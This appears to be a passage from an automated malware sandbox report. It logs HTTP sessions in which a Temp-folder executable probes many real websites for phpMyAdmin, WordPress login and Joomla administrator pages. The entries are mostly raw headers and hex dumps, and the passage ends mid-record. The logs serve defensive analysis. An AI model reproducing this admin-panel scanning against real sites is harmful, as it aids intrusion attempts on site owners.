cd a7 2e 13 03 38 45 ab 05 33 60 35 65 6d 0a 8d b0 05 4c 5c 6f 75 ad 85 93 37 e1 ed de c2 d7 77 51 0f 3e cf ae ee 66 9e ef 68 68 98 16 b5 dd Data Ascii: 38bTmo6_q:"Q8q,will.HC4yHF_?RvfX0w{M7gNn\|xAH}zMx6;zQLSiJz@H4QFJdvG[=Re0#z!e-qt\|tlhN [#HeaR'fL,0vW)meT(W/DLUJVe7A^_mXTyhU$2hj.1;cWhK0l.SKBKAElj]YnF0)O0ZbD7(?bF?n5+wT!@'6-+1Y\luP[8d?O`t/s;$0Nx]:>Z=GO#-jOSkhP#}2wt-Tt ,0J-S0AjrwY5P];,hHAMBBsy:.8E3`5emL\ou7wQ>fhh
Dec 20, 2023 03:13:22.799619913 CET	174	IN	Data Raw: 0f 7f a7 1d fe 15 dd d0 bd b5 03 46 b3 ac f3 3c f1 ae 82 d2 46 8c 6a 2d 50 ff a9 24 b6 db 45 eb 7a ef 99 1b d4 1b d4 07 d8 ca 74 46 43 b2 e7 f9 b7 30 6d ae 47 4d 35 67 6b 63 e5 ba ca 3a 0b ec 27 71 ff 2c ed f6 17 69 b2 b8 48 3a 97 de ed 9b 35 6f Data Ascii: F<Fj-P$EztFC0mGM5gkc:'q,iH:5oSZmwQ]{W>6!+UN5+ZzQhUS{w[9-m_<j<><"d_L>
Dec 20, 2023 03:13:22.799706936 CET	139	IN	Data Raw: 7e 22 da 6d f4 ff ce 96 f5 c1 aa 50 d5 8b d0 25 16 9e 9f 9d f3 8b b3 fe 92 f7 42 5d ae f8 ea f1 a1 db 4d d2 6e 37 4e 92 a4 9b a6 e9 bb 34 7e 7c 48 fa e7 49 7c fe e8 09 5b 82 99 b2 b4 84 99 a8 70 00 bd ca 80 c3 56 4c 9b e3 d8 90 d8 9c 9c c2 94 5a Data Ascii: ~"mP%B]Mn7N4~\|HI\|[pVLZV8!}tE/h$cxHS0
Dec 20, 2023 03:13:22.887713909 CET	257	OUT	GET /wp-admin/ HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip Cookie: tosession=1703038402_178108_144722011 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://jgarch.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	53880	69.49.101.57	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.552053928 CET	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.828871965 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding p3p: CP="CAO PSA CONi OTRo OUR ONL" Set-Cookie: tosession=1703038402_175695_740163396; path=/ x-robots-tag: noindex, nofollow Access-Control-Allow-Origin: https://img-to.nccdn.net Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: accept, x-request, x-requested-with Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff Content-Security-Policy: default-src * data: blob: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; Content-Encoding: gzip Data Raw: 33 38 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 54 6d 6f db 36 10 fe 9e 5f 71 d5 80 3a 01 22 51 b2 9c 38 71 2c 77 69 1c 6c 05 92 36 48 dd 06 43 10 18 34 79 96 18 4b a4 46 d2 56 bc 5f 5f 52 72 da 66 58 30 0c d3 17 89 f7 1c 9f 7b ee 4d e3 37 d3 4f 17 b3 3f 6e 2e e1 f7 d9 f5 15 dc 7c 79 7f f5 e1 02 82 90 90 bb f4 82 90 e9 6c da 01 83 28 4e 60 a6 a9 34 c2 0a 25 69 49 c8 e5 c7 00 82 c2 da 7a 44 48 d3 34 51 93 46 4a e7 64 76 4b 0a 5b 95 03 52 2a 65 30 e2 96 07 13 18 7b 93 7f 21 e5 ee 65 85 2d 71 b2 7f b7 74 6c 68 0e 20 84 1b 9a 23 48 65 61 a9 d6 92 8f 49 e7 01 e3 52 c8 15 d8 6d 8d 59 60 f1 c9 12 66 4c 00 1a cb 2c 30 76 5b a2 29 10 6d 00 85 c6 65 16 10 b2 54 d2 9a 28 57 2a 2f 91 d6 c2 44 4c 55 fe 4a ff dd 92 56 a2 dc 66 57 d4 aa 51 93 17 f6 d7 41 1c 9f 0d e3 f8 6d f0 1f 83 f8 84 8d cb 58 54 79 68 55 24 19 e3 32 92 68 c9 e7 82 6a e4 fe 2e 31 5b 63 b1 9a 57 68 8c 4b cb a9 30 e6 dd d7 6c 99 2e 53 36 48 12 1f b1 42 4b 41 d2 ca 45 dc 08 6c 6a a5 5d 00 e6 d4 a3 b4 59 d0 08 6e 8b 8c e3 46 30 0c db c3 21 08 e9 0a 4f cb d0 30 5a 62 96 44 f1 77 1a af 28 c4 3f d7 62 93 05 f8 54 0b 8d e6 27 ae 7f f6 bb d1 34 af 68 00 3f fc a4 0a 19 65 05 7a 77 b2 6b d3 42 f1 2d b0 92 1a 93 05 de ce c5 e6 f9 e8 ef 51 21 51 87 0b f5 04 bb 4c 43 5f c3 10 b5 56 fa 6f ee cf 0e ce f9 15 a4 6d 78 30 d9 83 97 cf cb b9 78 81 8e 89 a3 79 2d 8c 13 5e 97 4e a0 8f 56 4f ee d0 25 ba 2e b9 7c fb 4b 7a 7a e6 c8 84 e4 60 0b 84 da d3 6f d5 1a 1a d4 08 6e 62 57 42 e6 2e 96 8e e0 83 85 8a 6e a1 a0 1b 84 05 a2 74 03 e1 1b c6 41 69 e0 58 a2 45 7e 08 46 b9 30 48 8d e3 2f 90 ad 5a ce 2f b7 57 ae 5b 9e 55 03 e5 dc b5 c3 c0 82 ba ef dc e9 89 c6 a4 9e ec a4 8f df 84 21 44 2f 34 87 e1 6b e0 d3 4f 18 b4 e0 9d eb 34 bf 76 99 18 c0 6b b4 5a 30 03 56 53 d6 a6 d0 08 5b c0 a5 eb ad ae b5 70 f2 2e 79 bb b7 f0 f5 28 1a c0 e7 d9 f9 ed cc f3 ed 8d 0d d3 a2 b6 Data Ascii: 38cTmo6_q:"Q8q,wil6HC4yKFV__RrfX0{M7O?n.\|yl(N`4%iIzDH4QFJdvK[Re0{!e-qtlh #HeaIRmY`fL,0v[)meT(W/DLUJVfWQAmXTyhU$2hj.1[cWhK0l.S6HBKAElj]YnF0!O0ZbDw(?bT'4h?ezwkB-Q!QLC_Vomx0xy-^NVO%.\|Kzz`onbWB.ntAiXE~F0H/Z/W[U!D/4kO4vkZ0VS[p.y(
Dec 20, 2023 03:13:22.828883886 CET	174	IN	Data Raw: dd f0 f7 da e1 7f a4 1b da 59 7b 60 34 cb 7a cf 13 ef 2a 28 6d c4 a8 d6 02 f5 5f 4a 62 bb 5d b4 ae 3b 64 6e 50 6f 50 ef dc 1e 4d 6f 32 26 1d cf bf 85 69 73 dd 6b aa 39 5b 1b 2b d7 55 d6 5b e0 30 89 87 c7 69 7f b8 48 93 c5 69 d2 3b f3 b0 6f d6 bc Data Ascii: Y{`4z(m_Jb];dnPoPMo2&isk9[+U[0iHi;o]^Qk\u6!$'9h5E)Xw"ntNK%4#
Dec 20, 2023 03:13:22.828898907 CET	140	IN	Data Raw: 9f 88 76 1b fd bf b3 65 bd b7 2a 54 f5 22 74 89 85 27 c7 27 fc f4 78 b8 e4 83 90 af cc 72 f8 70 df ef 27 69 bf 1f 27 49 d2 4f d3 f4 28 8d 1f ee 93 e1 d1 f1 e9 d1 83 27 6c 09 66 ca d2 12 66 a2 c2 11 a4 95 81 93 e3 a4 62 da ec c7 86 c4 e6 e0 10 ae Data Ascii: ve*T"t''xrp'i'IO('lffbeQl8Qz>]_v8[JR1=1oTuS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	54033	216.40.47.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.864134073 CET	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: theseekerchurch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.034706116 CET	190	IN	HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://www.theseekerchurch.com/phpmyadmin/ Content-Length: 0 Date: Wed, 20 Dec 2023 02:13:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	54045	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.864429951 CET	236	OUT	GET /administrator/index.php HTTP/1.1 Host: devnetmedia.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://devnetmedia.com/administrator/
Dec 20, 2023 03:13:23.061269999 CET	226	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	53666	54.69.113.134	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.869700909 CET	186	OUT	GET /administrator/ HTTP/1.1 Host: atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.086338997 CET	211	IN	HTTP/1.1 301 Moved Permanently location: http://www.atelcommunications.com/administrator/ date: Wed, 20 Dec 2023 02:13:22 GMT connection: keep-alive keep-alive: timeout=5 transfer-encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	53731	142.250.217.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.906246901 CET	176	OUT	GET / HTTP/1.1 Host: www.collinsgordonhenry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.173150063 CET	490	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Location: http://sites.google.com/a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome Content-Encoding: gzip Date: Wed, 20 Dec 2023 02:13:23 GMT Expires: Wed, 20 Dec 2023 02:13:23 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 214 Server: GSE
Dec 20, 2023 03:13:23.173163891 CET	214	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 90 c1 6a c3 30 10 44 ef fe 0a a1 de bd cd b5 28 06 a7 71 e2 80 83 21 08 d2 1e 85 bd 58 06 49 2b 24 a5 e0 bf af a2 f6 98 bd 2c 3b f3 18 98 15 bd bc 0e 4d 25 fa ae 3d e6 25 2f 72 e8 9a 2b fd e0 cc 24 5a 4f 41 85 d5 Data Ascii: mj0D(q!XI+$,;M%=%/r+$ZOAlJ?xpo2K^eLKLlD[wskX/Dz"&2fuq0VBBbLy^-Ydh2P@I)V;WT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	54144	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.958610058 CET	177	OUT	GET /wp-login.php HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.550378084 CET	865	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.net X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iJX5jYYfOQSYj5F%2FpBKZZf8YPg81P6lNU3nj%2FySRDxomm92mH7x9zyvE%2F1QSiACCxknnxARRfyVu8vlqy0vseUDw%2B0uMW%2Br0KFF6iKyvObaI5vV0lCbJ7l4wJE5jMadskWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845da2df2c746f-MIA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Dec 20, 2023 03:13:23.550434113 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 20, 2023 03:13:23.551779985 CET	306	OUT	GET /wp-admin/ HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://micresearch.net/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	54188	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.958762884 CET	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.126008987 CET	1286	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 Location: https://artusopastry.com/phpmyadmin X-Redirect-Reason: https_required X-Frame-Options: DENY Content-Security-Policy: frame-ancestors 'none'; X-ShopId: 1584544 X-ShardId: 312 Vary: Accept powered-by: Shopify Server-Timing: processing;dur=6, db;dur=2, asn;desc="174", edge;desc="MIA", country;desc="US", pageType;desc="404", servedBy;desc="zrzh", requestID;desc="f9380158-fdd0-45fc-92c5-3435ee49bcce" X-Shopify-Stage: production X-Request-ID: f9380158-fdd0-45fc-92c5-3435ee49bcce X-Download-Options: noopen X-XSS-Protection: 1; mode=block X-Permitted-Cross-Domain-Policies: none X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F6XdPk%2BYOY4JvYjxjBYqC%2FATpv5GdzonxLMRaMkk62%2B9PfYoop5hdZMCGRvqou%2FCIou69ZukwtVbFXAInsZD07M%2F43Yg2Jm%2Fo%2BkJtTShxj2ZXIGMxECJo2A6dL6mdbDdYyA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server-Timing: cfRequestDuration;d Data Raw: Data Ascii:
Dec 20, 2023 03:13:23.126041889 CET	100	IN	Data Raw: 72 3d 33 39 2e 30 30 30 30 33 34 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 34 35 64 61 32 64 39 35 36 37 34 34 34 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b Data Ascii: r=39.000034Server: cloudflareCF-RAY: 83845da2d9567444-MIAalt-svc: h3=":443"; ma=864000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	54227	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.958765984 CET	169	OUT	GET /phpmyadmin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.125718117 CET	945	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://bvox.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CWbTgyeFM62xUROj9jWU4cCIptftpmW3ftOHZntpcQ12BfcRivNUrWYRa8bHQRCDYYurjtqn7hAhHrZUI6aGrg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:23.329941034 CET	945	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://bvox.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CWbTgyeFM62xUROj9jWU4cCIptftpmW3ftOHZntpcQ12BfcRivNUrWYRa8bHQRCDYYurjtqn7hAhHrZUI6aGrg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	54235	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.958868027 CET	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.109289885 CET	954	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://topshelfgames.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fhLLCybHKTh1AfztwlM8DPNCpKQG19GA1JOBvDv/ffS1OHiyQ2crx1dGVJ5I403IYrRNxd2B/e3kZ3RJqi8DAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:23.313927889 CET	954	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://topshelfgames.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fhLLCybHKTh1AfztwlM8DPNCpKQG19GA1JOBvDv/ffS1OHiyQ2crx1dGVJ5I403IYrRNxd2B/e3kZ3RJqi8DAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	54138	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.958951950 CET	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.113055944 CET	955	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://lsmnutrition.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Mw71zf30X0UPlzi8Z2vs6ZxbZVEzhSR+k+4RHdYJdpehypFrVFUrSkUb3DCUK9FMn4jcGviiLdd5vO3hT92Sxg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	54243	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.959074020 CET	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: recipe-for-kids.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.135801077 CET	259	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 38 0d 0a 3c 68 31 3e 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 18<h1>404: Not Found</h1>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	54070	103.20.214.243	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

